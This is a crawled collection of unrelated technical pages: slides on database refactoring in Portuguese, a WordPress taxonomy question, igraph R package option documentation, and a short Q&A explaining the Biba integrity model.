fato? (Alguém poderia ter removido acidentalmente esta parte da definição da tabela.) </li></ul><ul><li>Invariantes de dados: colunas têm freqüentemente invariantes, implementada sob a forma de restrições, definido por eles. Por exemplo, uma coluna de número pode ser limitada a que contém os valores de 1 a 7. Estes invariantes devem ser testados. </li></ul>Test-Driven Development (TDD) 37. 37. Testes de migração dos dados <ul><li>Todos os registros foram migrados? </li></ul><ul><li>Houve perda de informações? </li></ul><ul><li>Nas refatorações de formatos, os registros continuam com a mesma informação? Exemplo : na coluna antiga o telefone estava formatada como: 114104-3333, depois da refactoring deve ficar 1141043333. </li></ul><ul><li>As referencias de integridade continuam apontando para o registro correto? </li></ul><ul><li>Exemplo: O número de telefone 555-1234 referencia o cliente Fulano da Silva, na refactoring foi adicionado um ID para este telefone 1234567. </li></ul>Test-Driven Development (TDD) 38. 38. Testes do código de programas externos <ul><li>Quais são os programas que serão afetados com a refactoring do seu banco? </li></ul><ul><li>Todos programas externos devem possuir um suíte de testes de regressão, para garantir que o esquema final poderá aplicado nos mesmos. </li></ul><ul><li>Os impactos só poderão ser avaliados com a quebra dos testes, dependo da complexidade e arquitetura (tamanho dos sistemas). </li></ul>Test-Driven Development (TDD) 39. 39. Modificando o esquema 40. 40. Modificando o esquema 41. 41. <ul><ul><li>Existem algumas vantagens em trabalhar com pequenos scripts: </li></ul></ul><ul><ul><ul><li>Controle: não existe mágica! Muitos scripts serão criados manualmente, isto requer muito controle. </li></ul></ul></ul><ul><ul><li>Simplicidade: por ser focado, os scripts de alterações são mais fáceis de manter do que scripts que compreende várias etapas. </li></ul></ul><ul><ul><li>Exatidão: possibilita aplicar cada refatoração, na devida ordem, ao seu esquema de banco de dados de modo a evoluir-lo de uma forma definida. Refactorings pode basear-se uns aos outros. </li></ul></ul><ul><ul><li>Versionamento: cada desenvolvedor pode trabalhar no seu próprio sandbox , alterando de forma incremental os scripts. </li></ul></ul>Modificando o esquema 42. 42. Migração dos dados 43. 43. <ul><li>O controle dos artefatos do banco de dados devem ser tratados da mesma forma que os do código fonte. </li></ul><ul><ul><li>“ Release Notes” - associar o número dos scripts da refatoração com a alteração realizada. </li></ul></ul><ul><li>Artefatos de controle de versão incluem o seguinte: </li></ul><ul><ul><li>Todos os scripts criados </li></ul></ul><ul><ul><li>Dados usados nos testes e geração de códigos </li></ul></ul><ul><ul><li>Casos de testes </li></ul></ul><ul><ul><li>Documentações </li></ul></ul><ul><ul><li>Modelos </li></ul></ul>Controle de versionamento 44. 44. <ul><li>O banco de dados é um recurso compartilhado, portanto, todos os envolvidos precisam ser informados. </li></ul><ul><li>A refatoração pode ser informada através de um simples email ou listas com as alterações na ordem. </li></ul><ul><li>Devem ser informados os prazos para se refatorar os códigos dos sistemas externos. </li></ul><ul><li>Não publique as alterações prematuramente, aguarde até o fluxo de alterações tenha acabado. </li></ul>Anunciando o Refactoring 45. 45. <ul><li>1. Fazer um backup do BD </li></ul><ul><li>2. Executar os testes de regressão </li></ul><ul><ul><li>Antes, é preciso garantir que tudo está funcionando </li></ul></ul><ul><ul><li>Se falhar, pode ser melhor abortar </li></ul></ul><ul><li>3. Implantar as alterações nas aplicações </li></ul><ul><li>4. Implantar as alterações no BD </li></ul><ul><li>5. Executar os testes de regressão </li></ul><ul><li>6. Desfazer, caso necessário </li></ul><ul><ul><li>Falhas sérias nos testes de regressão </li></ul></ul><ul><ul><li>Utilize os backups do passo 1 </li></ul></ul><ul><ul><li>Desfaça as alterações nas aplicações </li></ul></ul><ul><li>7. Anunciar a implantação </li></ul><ul><li>• A refatoração não está completa até a remoção do esquema depreciado </li></ul>Processos de implantação 46. 46. <ul><li>Refactoring Databases é uma técnica de implementação de banco de dados. </li></ul><ul><li>Facilita a adição de novas funcionalidades. </li></ul><ul><li>Possibilita uma melhoria contínua. </li></ul><ul><li>Torna a base de dados mais fáceis de entender e usar. </li></ul><ul><li>Melhora a produtividade global do desenvolvimento. </li></ul><ul><li>Técnica moderna que acompanha metodologias de desenvolvimento ágil. </li></ul>Conclusão 47. 47. Ambler, Scott W., Pramod J. Sadalage (2006). Refactoring Databases: Evolutionary Databases Design. New York: Addison Wesley Professional. http://www.ambysoft.com/books/refactoringDatabases.html   Ambler, Scott W., Pramod J. Sadalage (2006). Refactoring Databases: The Process. http://www.simple-talk.com/sql/database-administration/refactoring-databases-the-process/   Ambler, Scott W. (2007). Presentation Databases Refactoring. http://www.infoq.com/presentations/ambler-database-refactoring   Ambler, S. W. (2003). Agile Databases Techniques: Effective Strategies for the Agile Software Developer. New York: John Wiley & Sons. www.ambysoft.com/agileDatabasesTechniques.html Sato, Danilo e Ferreira, João Eduardo (2007). Banco de Dados Ágeis e Refatoração . Curso de Verão 2007 - IME/USP . http://ccsl.ime.usp.br/agilcoop/files/4-BDs-Ageis.pdf Bibliografia 48. 48. Perguntas 49. 49. Agradecimentos ×
{ "url": "https://pt.slideshare.net/rkmael/refactoring-databases", "source_domain": "pt.slideshare.net", "snapshot_id": "crawl=CC-MAIN-2017-39", "warc_metadata": { "Content-Length": "213108", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:LDGNTBHRJHUG3SC5UW63LIUWFDU435S5", "WARC-Concurrent-To": "<urn:uuid:4d6751c5-3c9f-4c91-9a09-b2cd1597ce09>", "WARC-Date": "2017-09-26T05:44:02Z", "WARC-IP-Address": "108.174.10.19", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:WZLQAE3RFNS373YKPVDLTGS76RUGGW26", "WARC-Record-ID": "<urn:uuid:d1961816-da58-4cd8-99b4-620709c20277>", "WARC-Target-URI": "https://pt.slideshare.net/rkmael/refactoring-databases", "WARC-Truncated": "length", "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:d21a8667-ce25-4ea3-b21c-ebb09ce96792>" }, "warc_info": "robots: classic\r\nhostname: ip-10-150-110-222.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-39\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for September 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 19, 145, 271, 391, 517, 643, 769, 895, 1021, 1147, 1273, 1399, 1525, 1651, 1777, 1903, 2029, 2155, 2281, 2294, 2420, 2433, 2559, 2628, 2754, 2827, 2953, 3079, 3205, 3237, 3269, 3395, 3521, 3647, 3677, 3803, 3929, 4055, 4077, 4099, 4225, 4244, 4370, 4496, 4622, 4748, 4874, 4884, 4899, 4920, 4936, 4938, 4939, 4961, 4962, 4982, 4983, 4996, 4997, 5033, 5058, 5082, 5106, 5124, 5131, 5132, 5157, 5171, 5182, 5195, 5201, 5232, 5233, 5247, 5261, 5282, 5288, 5302, 5304, 5330, 5332, 5356, 5360, 5366, 5384, 5386, 5396, 5399, 5411, 5413, 5422, 5424, 5440, 5461, 5462, 5484, 5485, 5507, 5508, 5535, 5899, 6044, 6172, 6317, 6626, 6953, 7211, 7769, 8062, 8275, 8513, 8740, 8978, 9230, 9712, 9992, 10197, 10351, 10374, 10816, 10839, 11132, 11211, 11431, 11514, 12007, 12381, 13316, 13358, 13400, 13760, 14111, 14379, 14419, 15450, 16084, 16549, 16581, 16613, 17378, 17407, 17993, 18474, 19275, 19727, 20595, 20615, 20640, 20641 ], "line_end_idx": [ 19, 145, 271, 391, 517, 643, 769, 895, 1021, 1147, 1273, 1399, 1525, 1651, 1777, 1903, 2029, 2155, 2281, 2294, 2420, 2433, 2559, 2628, 2754, 2827, 2953, 3079, 3205, 3237, 3269, 3395, 3521, 3647, 3677, 3803, 3929, 4055, 4077, 4099, 4225, 4244, 4370, 4496, 4622, 4748, 4874, 4884, 4899, 4920, 4936, 4938, 4939, 4961, 4962, 4982, 4983, 4996, 4997, 5033, 5058, 5082, 5106, 5124, 5131, 5132, 5157, 5171, 5182, 5195, 5201, 5232, 5233, 5247, 5261, 5282, 5288, 5302, 5304, 5330, 5332, 5356, 5360, 5366, 5384, 5386, 5396, 5399, 5411, 5413, 5422, 5424, 5440, 5461, 5462, 5484, 5485, 5507, 5508, 5535, 5899, 6044, 6172, 6317, 6626, 6953, 7211, 7769, 8062, 8275, 8513, 8740, 8978, 9230, 9712, 9992, 10197, 10351, 10374, 10816, 10839, 11132, 11211, 11431, 11514, 12007, 12381, 13316, 13358, 13400, 13760, 14111, 14379, 14419, 15450, 16084, 16549, 16581, 16613, 17378, 17407, 17993, 18474, 19275, 19727, 20595, 20615, 20640, 20641, 20642 ] }
{ "red_pajama_v2": { "ccnet_original_length": 20642, "ccnet_original_nlines": 149, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.0571892112493515, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.012167920358479023, "rps_doc_frac_lines_end_with_ellipsis": 0.23999999463558197, "rps_doc_frac_no_alph_words": 0.35996755957603455, "rps_doc_frac_unique_words": 0.3221210837364197, "rps_doc_mean_word_length": 6.234665393829346, "rps_doc_num_sentences": 303, "rps_doc_symbol_to_word_ratio": 0.009531539864838123, "rps_doc_unigram_entropy": 5.903980255126953, "rps_doc_word_count": 2527, "rps_doc_frac_chars_dupe_10grams": 0.40247538685798645, "rps_doc_frac_chars_dupe_5grams": 0.469565212726593, "rps_doc_frac_chars_dupe_6grams": 0.4625833034515381, "rps_doc_frac_chars_dupe_7grams": 0.44950810074806213, "rps_doc_frac_chars_dupe_8grams": 0.44201841950416565, "rps_doc_frac_chars_dupe_9grams": 0.4227229356765747, "rps_doc_frac_chars_top_2gram": 0.022088229656219482, "rps_doc_frac_chars_top_3gram": 0.02741987071931362, "rps_doc_frac_chars_top_4gram": 0.028943190351128578, "rps_doc_books_importance": -1734.3038330078125, "rps_doc_books_importance_length_correction": -1734.3038330078125, "rps_doc_openwebtext_importance": -1089.899169921875, "rps_doc_openwebtext_importance_length_correction": -1089.899169921875, "rps_doc_wikipedia_importance": -774.156982421875, "rps_doc_wikipedia_importance_length_correction": -774.156982421875 }, "fasttext": { "dclm": 0.7655578255653381, "english": 0.006582919973880053, "fineweb_edu_approx": 1.421673059463501, "eai_general_math": 0.0007606699946336448, "eai_open_web_math": 0.5560806393623352, "eai_web_code": 0.30530059337615967 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.74", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-2,872,224,794,653,942,300
0 I have a custom post type called 'products' the CPT has two custom taxonomies (both hierarchical); 1) 'product_type' and 2) 'product_provider'. Each product will have both a 'product_type' and a 'product_provider' linked to it. On the archive page for each 'product_type' term I am outputting a filterable list of 'products', one of the filter options is by Provider which (obviously) filters based on the 'product_provider' custom tax. The problem I have is outputting just the 'product_provider' terms that apply to the specific 'product_type'. EXAMPLE Product A. Product_type = 1, product_provider = W Product B. Product_type = 1, product_provider = X Product C. Product_type = 2, product_provider = Y Product C. Product_type = 2, product_provider = W On the archive page for 'product_type 1' using: $terms = get_terms( array('taxonomy' => 'product_provider') ); Will output all terms within the 'product_provider' taxonomy - W, X, Y. I need to just output W and X - that is the 2 terms within 'product_provider' that apply to 'products' in the product_type custom tax. I'm not sure if the answer is; a more robust term query, restructuring the CPT/taxonomies to remove the 'product_provider' - just make each provider a sub category of the specific 'product_type' (although this would lead to duplicating some providers as they offer products in multiple product_type's). 0 You can use another argument in the array of argument, you have many choice to filter the results. You can add exclude, include with an array or comma separated of the terms you want to display. $terms = get_terms( array( 'taxonomy' => 'product_provider', 'include'=> array('X', 'Y') ); But, if the results depends on the product_type, you'll maybe need to use meta_key and meta_value (of the product). Of course you can mix, all these arguments if need. If you want to get the term that belong to a product, you need to use wp_get_object_terms(). You will find all details get_terms and wp_get_object_terms Hope it helps. Your Answer By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy Not the answer you're looking for? Browse other questions tagged or ask your own question.
{ "url": "https://wordpress.stackexchange.com/questions/257336/custom-taxonomy-only-output-relevant-terms", "source_domain": "wordpress.stackexchange.com", "snapshot_id": "crawl=CC-MAIN-2019-26", "warc_metadata": { "Content-Length": "134288", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:CJA4MGYFLL2G6RBY32JDTR3ZICRIANL3", "WARC-Concurrent-To": "<urn:uuid:034fda76-102a-4cda-a941-995af9d98d8c>", "WARC-Date": "2019-06-15T21:15:13Z", "WARC-IP-Address": "151.101.129.69", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:GQJ3BFUCH25ZJCXJYHLTCM2DJH6JBCRE", "WARC-Record-ID": "<urn:uuid:6b93dfe5-4125-4e5e-9c86-f7d8c2ad36ac>", "WARC-Target-URI": "https://wordpress.stackexchange.com/questions/257336/custom-taxonomy-only-output-relevant-terms", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:7cc72f80-ec6c-4911-b772-aea11eb1aa81>" }, "warc_info": "isPartOf: CC-MAIN-2019-26\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-123-210-107.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 2, 3, 147, 148, 441, 442, 552, 553, 561, 562, 612, 613, 663, 664, 714, 715, 765, 766, 814, 815, 878, 879, 1086, 1087, 1390, 1391, 1393, 1394, 1493, 1494, 1590, 1591, 1618, 1664, 1704, 1707, 1708, 1824, 1825, 1877, 1878, 1971, 1972, 2032, 2033, 2048, 2049, 2061, 2062, 2162, 2163 ], "line_end_idx": [ 2, 3, 147, 148, 441, 442, 552, 553, 561, 562, 612, 613, 663, 664, 714, 715, 765, 766, 814, 815, 878, 879, 1086, 1087, 1390, 1391, 1393, 1394, 1493, 1494, 1590, 1591, 1618, 1664, 1704, 1707, 1708, 1824, 1825, 1877, 1878, 1971, 1972, 2032, 2033, 2048, 2049, 2061, 2062, 2162, 2163, 2253 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2253, "ccnet_original_nlines": 51, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3282608687877655, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.05000000074505806, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.27391302585601807, "rps_doc_frac_unique_words": 0.4480712115764618, "rps_doc_mean_word_length": 4.98516321182251, "rps_doc_num_sentences": 19, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.606688022613525, "rps_doc_word_count": 337, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.06428571045398712, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.011904760263860226, "rps_doc_frac_chars_top_3gram": 0.014285709708929062, "rps_doc_frac_chars_top_4gram": 0.01904761977493763, "rps_doc_books_importance": -265.38238525390625, "rps_doc_books_importance_length_correction": -265.38238525390625, "rps_doc_openwebtext_importance": -128.48712158203125, "rps_doc_openwebtext_importance_length_correction": -128.48712158203125, "rps_doc_wikipedia_importance": -114.10943603515625, "rps_doc_wikipedia_importance_length_correction": -114.10943603515625 }, "fasttext": { "dclm": 0.5782465934753418, "english": 0.8223226070404053, "fineweb_edu_approx": 1.3502016067504883, "eai_general_math": 0.001869620056822896, "eai_open_web_math": 0.07276707887649536, "eai_web_code": 0.0013379500014707446 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "-1", "labels": { "level_1": "", "level_2": "", "level_3": "" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-8,106,213,523,795,907,000
igraph_options {igraph}R Documentation Parameters for the igraph package Description igraph has some parameters which (usually) affect the behavior of many functions. These can be set for the whole session via igraph_options. Usage igraph_options(...) igraph_opt(x, default = NULL) Arguments ... A list may be given as the only argument, or any number of arguments may be in the name=value form, or no argument at all may be given. See the Value and Details sections for explanation. x A character string holding an option name. default If the specified option is not set in the options list, this value is returned. This facilitates retrieving an option and checking whether it is set and setting it separately if not. Details The parameter values set via a call to the igraph_options function will remain in effect for the rest of the session, affecting the subsequent behaviour of the other functions of the igraph package for which the given parameters are relevant. This offers the possibility of customizing the functioning of the igraph package, for instance by insertions of appropriate calls to igraph_options in a load hook for package igraph. The currently used parameters in alphabetical order: add.params Logical scalar, whether to add model parameter to the graphs that are created by the various graph constructors. By default it is TRUE. add.vertex.names Logical scalar, whether to add vertex names to node level indices, like degree, betweenness scores, etc. By default it is TRUE. annotate.plot Logical scalar, whether to annotate igraph plots with the graph's name (name graph attribute, if present) as main, and with the number of vertices and edges as xlab. Defaults to FALSE. dend.plot.type The plotting function to use when plotting community structure dendrograms via plot_dendrogram . Possible values are ‘auto’ (the default), ‘phylo’, ‘hclust’ and ‘dendrogram’. See plot_dendrogram for details. edge.attr.comb Specifies what to do with the edge attributes if the graph is modified. The default value is list(weight="sum", name="concat", "ignore"). See attribute.combination for details on this. print.edge.attributes Logical constant, whether to print edge attributes when printing graphs. Defaults to FALSE. print.full Logical scalar, whether print.igraph should show the graph structure as well, or only a summary of the graph. print.graph.attributes Logical constant, whether to print graph attributes when printing graphs. Defaults to FALSE. print.vertex.attributes Logical constant, whether to print vertex attributes when printing graphs. Defaults to FALSE. return.vs.es Whether functions that return a set or sequence of vertices/edges should return formal vertex/edge sequence objects. This option was introduced in igraph version 1.0.0 and defaults to TRUE. If your package requires the old behavior, you can set it to FALSE in the .onLoad function of your package, without affecting other packages. sparsematrices Whether to use the Matrix package for (sparse) matrices. It is recommended, if the user works with larger graphs. verbose Logical constant, whether igraph functions should talk more than minimal. Eg. if TRUE then some functions will use progress bars while computing. Defaults to FALSE. vertex.attr.comb Specifies what to do with the vertex attributes if the graph is modified. The default value is list(name="concat", "ignore") See attribute.combination for details on this. Value igraph_options returns a list with the old values of the updated parameters, invisibly. Without any arguments, it returns the values of all options. For igraph_opt, the current value set for option x, or NULL if the option is unset. Author(s) Gabor Csardi [email protected] See Also igraph_options is similar to options and igraph_opt is similar to getOption. Other igraph options: with_igraph_opt() Examples oldval <- igraph_opt("verbose") igraph_options(verbose = TRUE) layout_with_kk(make_ring(10)) igraph_options(verbose = oldval) oldval <- igraph_options(verbose = TRUE, sparsematrices = FALSE) make_ring(10)[] igraph_options(oldval) igraph_opt("verbose") [Package igraph version 1.3.5 Index]
{ "url": "https://search.r-project.org/CRAN/refmans/igraph/html/igraph_options.html", "source_domain": "search.r-project.org", "snapshot_id": "crawl=CC-MAIN-2022-49", "warc_metadata": { "Content-Length": "7403", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:QPEJ4SZ2DW7WVSYABR7VXFOQ4JTEPA6U", "WARC-Concurrent-To": "<urn:uuid:afd024fa-b654-471f-b377-57342f59036b>", "WARC-Date": "2022-12-02T19:33:03Z", "WARC-IP-Address": "137.208.57.46", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:GA2TWEJKXH5T7FG6VLNRBHA7BQRQK26U", "WARC-Record-ID": "<urn:uuid:3ef7d1fb-1e5f-4f3b-8fda-e7d6818babf2>", "WARC-Target-URI": "https://search.r-project.org/CRAN/refmans/igraph/html/igraph_options.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:e1d425a4-a921-4846-bfa4-0367b295bffe>" }, "warc_info": "isPartOf: CC-MAIN-2022-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-149\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 39, 40, 74, 75, 87, 88, 229, 230, 236, 237, 257, 258, 288, 289, 299, 300, 304, 305, 493, 494, 496, 497, 540, 541, 549, 550, 733, 734, 742, 743, 986, 987, 1170, 1171, 1224, 1225, 1236, 1237, 1373, 1374, 1391, 1392, 1520, 1521, 1535, 1536, 1721, 1722, 1737, 1738, 1833, 1834, 1947, 1948, 1963, 1964, 2149, 2150, 2172, 2173, 2265, 2266, 2277, 2278, 2388, 2389, 2412, 2413, 2506, 2507, 2531, 2532, 2626, 2627, 2640, 2641, 2973, 2974, 2989, 2990, 3104, 3105, 3113, 3114, 3279, 3280, 3297, 3298, 3470, 3471, 3477, 3478, 3627, 3628, 3712, 3713, 3723, 3724, 3760, 3761, 3770, 3771, 3848, 3849, 3889, 3890, 3899, 3900, 3901, 3933, 3964, 3994, 4027, 4028, 4093, 4109, 4132, 4154, 4155, 4156 ], "line_end_idx": [ 39, 40, 74, 75, 87, 88, 229, 230, 236, 237, 257, 258, 288, 289, 299, 300, 304, 305, 493, 494, 496, 497, 540, 541, 549, 550, 733, 734, 742, 743, 986, 987, 1170, 1171, 1224, 1225, 1236, 1237, 1373, 1374, 1391, 1392, 1520, 1521, 1535, 1536, 1721, 1722, 1737, 1738, 1833, 1834, 1947, 1948, 1963, 1964, 2149, 2150, 2172, 2173, 2265, 2266, 2277, 2278, 2388, 2389, 2412, 2413, 2506, 2507, 2531, 2532, 2626, 2627, 2640, 2641, 2973, 2974, 2989, 2990, 3104, 3105, 3113, 3114, 3279, 3280, 3297, 3298, 3470, 3471, 3477, 3478, 3627, 3628, 3712, 3713, 3723, 3724, 3760, 3761, 3770, 3771, 3848, 3849, 3889, 3890, 3899, 3900, 3901, 3933, 3964, 3994, 4027, 4028, 4093, 4109, 4132, 4154, 4155, 4156, 4192 ] }
{ "red_pajama_v2": { "ccnet_original_length": 4192, "ccnet_original_nlines": 120, "rps_doc_curly_bracket": 0.00047709999489597976, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.3205445408821106, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.0222772303968668, "rps_doc_frac_lines_end_with_ellipsis": 0.008264459669589996, "rps_doc_frac_no_alph_words": 0.21782177686691284, "rps_doc_frac_unique_words": 0.4016949236392975, "rps_doc_mean_word_length": 5.6338982582092285, "rps_doc_num_sentences": 75, "rps_doc_symbol_to_word_ratio": 0.002475250046700239, "rps_doc_unigram_entropy": 4.951294422149658, "rps_doc_word_count": 590, "rps_doc_frac_chars_dupe_10grams": 0.028279179707169533, "rps_doc_frac_chars_dupe_5grams": 0.1726835072040558, "rps_doc_frac_chars_dupe_6grams": 0.10860408842563629, "rps_doc_frac_chars_dupe_7grams": 0.09416366368532181, "rps_doc_frac_chars_dupe_8grams": 0.028279179707169533, "rps_doc_frac_chars_dupe_9grams": 0.028279179707169533, "rps_doc_frac_chars_top_2gram": 0.018953070044517517, "rps_doc_frac_chars_top_3gram": 0.022563179954886436, "rps_doc_frac_chars_top_4gram": 0.019855599850416183, "rps_doc_books_importance": -372.9256591796875, "rps_doc_books_importance_length_correction": -372.9256591796875, "rps_doc_openwebtext_importance": -215.12322998046875, "rps_doc_openwebtext_importance_length_correction": -215.12322998046875, "rps_doc_wikipedia_importance": -174.46224975585938, "rps_doc_wikipedia_importance_length_correction": -174.46224975585938 }, "fasttext": { "dclm": 0.021687209606170654, "english": 0.6589733362197876, "fineweb_edu_approx": 2.0236384868621826, "eai_general_math": 0.9261587858200073, "eai_open_web_math": 0.1785186529159546, "eai_web_code": 0.999082088470459 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "511.5", "labels": { "level_1": "Science and Natural history", "level_2": "Mathematics", "level_3": "Arithmetic" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-8,570,720,100,202,858,000
1 I am reading CISSP and more specifically the Biba model. Biba has some basic properties: • The Simple Integrity Property states that a subject cannot read an object at a lower integrity level (no read-down). • The * (star) Integrity Property states that a subject cannot modify an object a a higher integrity level (no write-up). I am a little confused about the first property. 2 The idea of the "no read down" principle is simply that information produced at a lower level may be tainted, and should not be consumed by a member of a higher tier in the hierarchy. A classical example is that a priest may write a prayerbook for a farmer, but should not accept religious ideas from the farmer. 1 • 2 The reason for this is to avoid someone from a higher integrity level being corrupted by something written at a lower level. It prevents bias, and less reputable information from being accidentally re-published by a more reputable author than the source material deserves. – Daisetsu Dec 2 '18 at 21:56 Your Answer By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy Not the answer you're looking for? Browse other questions tagged or ask your own question.
